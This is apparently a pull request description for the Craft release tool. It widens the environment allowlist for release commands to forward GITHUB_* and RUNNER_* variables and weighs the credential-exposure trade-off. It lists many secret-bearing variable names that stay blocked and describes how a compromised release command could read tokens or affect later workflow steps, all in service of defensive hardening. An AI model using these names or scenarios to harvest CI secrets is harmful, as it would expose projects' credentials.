security(release-env): allowlist GITHUB_* and RUNNER_* by prefix

[BYK]

Summary

Fixes the regression reported in getsentry/sentry-cocoa run #24797916943: ./scripts/update-package-sha.sh: line 4: GITHUB_RUN_ID: unbound variable.

PR #794 (shipped in Craft 2.25.5) locked pre/postReleaseCommand down to an explicit allowlist (PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, plus per-command CRAFT_* extras). That shape was deliberately minimal but overshot: GitHub Actions injects ~40 GITHUB_* context vars into every step (GITHUB_REPOSITORY, GITHUB_SHA, GITHUB_RUN_ID, GITHUB_ACTOR, GITHUB_WORKFLOW, GITHUB_API_URL, GITHUB_SERVER_URL, …) and release scripts commonly read them. sentry-cocoa's bump script stamps $GITHUB_RUN_ID into a file for a follow-up step to consume, so cutting off the whole namespace made it fail hard.

Fix

Extend buildReleaseCommandEnv to also forward any process.env key that starts with GITHUB_ or RUNNER_. RUNNER_* (RUNNER_OS / RUNNER_ARCH / RUNNER_TEMP / …) is the same class of non-secret runner metadata.

Why this is safe — and the trade-off

Credential env vars Craft uses that are named with unrelated prefixes remain blocked:

• NPM_TOKEN, CRATES_IO_TOKEN, HEX_API_KEY, POWERSHELL_API_KEY, NUGET_API_TOKEN, PUBDEV_ACCESS_TOKEN, PUBDEV_REFRESH_TOKEN
• DOCKER_PASSWORD, DOCKER_GHCR_IO_PASSWORD, DOCKER_USERNAME
• AWS_SECRET_ACCESS_KEY, AWS_ACCESS_KEY_ID
• TWINE_PASSWORD, TWINE_USERNAME
• GEM_HOST_API_KEY, COCOAPODS_TRUNK_TOKEN
• GPG_PRIVATE_KEY, GPG_PASSPHRASE, OSSRH_USERNAME, OSSRH_PASSWORD
• CRAFT_GCS_TARGET_CREDS_JSON, CRAFT_GCS_STORE_CREDS_JSON

Two credential env vars do live in the GITHUB_* namespace and are therefore now forwarded:

1. GITHUB_TOKEN — already on the allowlist pre-security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807, no change in exposure.
2. GITHUB_API_TOKEN — used by Craft as a ghcr.io / cross-repo fallback when GITHUB_TOKEN is absent (see src/targets/docker.ts:338, src/targets/commitOnGitRepository.ts:148, src/utils/githubApi.ts:78). This is newly forwarded by security(release-env): allowlist GITHUB_* and RUNNER_* by prefix #807. On getsentry/publish-style workflows it is not set (only GITHUB_TOKEN is), so no leak there. On consumer CI setups that explicitly export GITHUB_API_TOKEN, a malicious preReleaseCommand would now see it. This is the intentional trade-off: a malicious preReleaseCommand that already has shell execution can exfiltrate whichever token is set, and the alternative (splitting context from credentials via explicit lists instead of prefix) forces every consumer to proxy routine Actions metadata via CRAFT_* — which is the exact ergonomic regression this PR fixes.

Similarly, GITHUB_ENV / GITHUB_PATH / GITHUB_OUTPUT / GITHUB_STEP_SUMMARY point at runner files that subsequent workflow steps read. Forwarding them lets a compromised release command influence later steps. No new primitive: the attacker already has shell exec in the same docker mount as those files.

I cross-checked getsentry/publish/.github/workflows/publish.yml: the only GITHUB_*-named key its Docker step sets is GITHUB_TOKEN. Other secrets all use the unrelated prefixes listed above.

Tests

Both prepare.test.ts and publish.test.ts get a new regression test:

process.env.GITHUB_RUN_ID = '123456';
process.env.GITHUB_REPOSITORY = 'getsentry/sentry-cocoa';
process.env.RUNNER_OS = 'Linux';
process.env.NPM_TOKEN = 'npm_xxx_must_not_leak';
process.env.DOCKER_PASSWORD = 'dockerpw_must_not_leak';

await runPreReleaseCommand({ ... });

// GITHUB_* and RUNNER_* pass through.
expect(envArg.GITHUB_RUN_ID).toBe('123456');
expect(envArg.GITHUB_REPOSITORY).toBe('getsentry/sentry-cocoa');
expect(envArg.RUNNER_OS).toBe('Linux');

// Credential-named vars do not.
expect(envArg.NPM_TOKEN).toBeUndefined();
expect(envArg.DOCKER_PASSWORD).toBeUndefined();

Existing "does not forward arbitrary env vars from process.env" tests still guard the negative side (LD_PRELOAD, AWS_SECRET_ACCESS_KEY, random SECRET_TOKEN must not leak).

The expectedBaseEnv() helper in both test files is now dynamic so it stays correct when the tests run under GHA (where process.env contains a full GITHUB_* / RUNNER_* set).

996 tests pass; same 7 pre-existing env-only e2e failures as on master. Lint / build clean.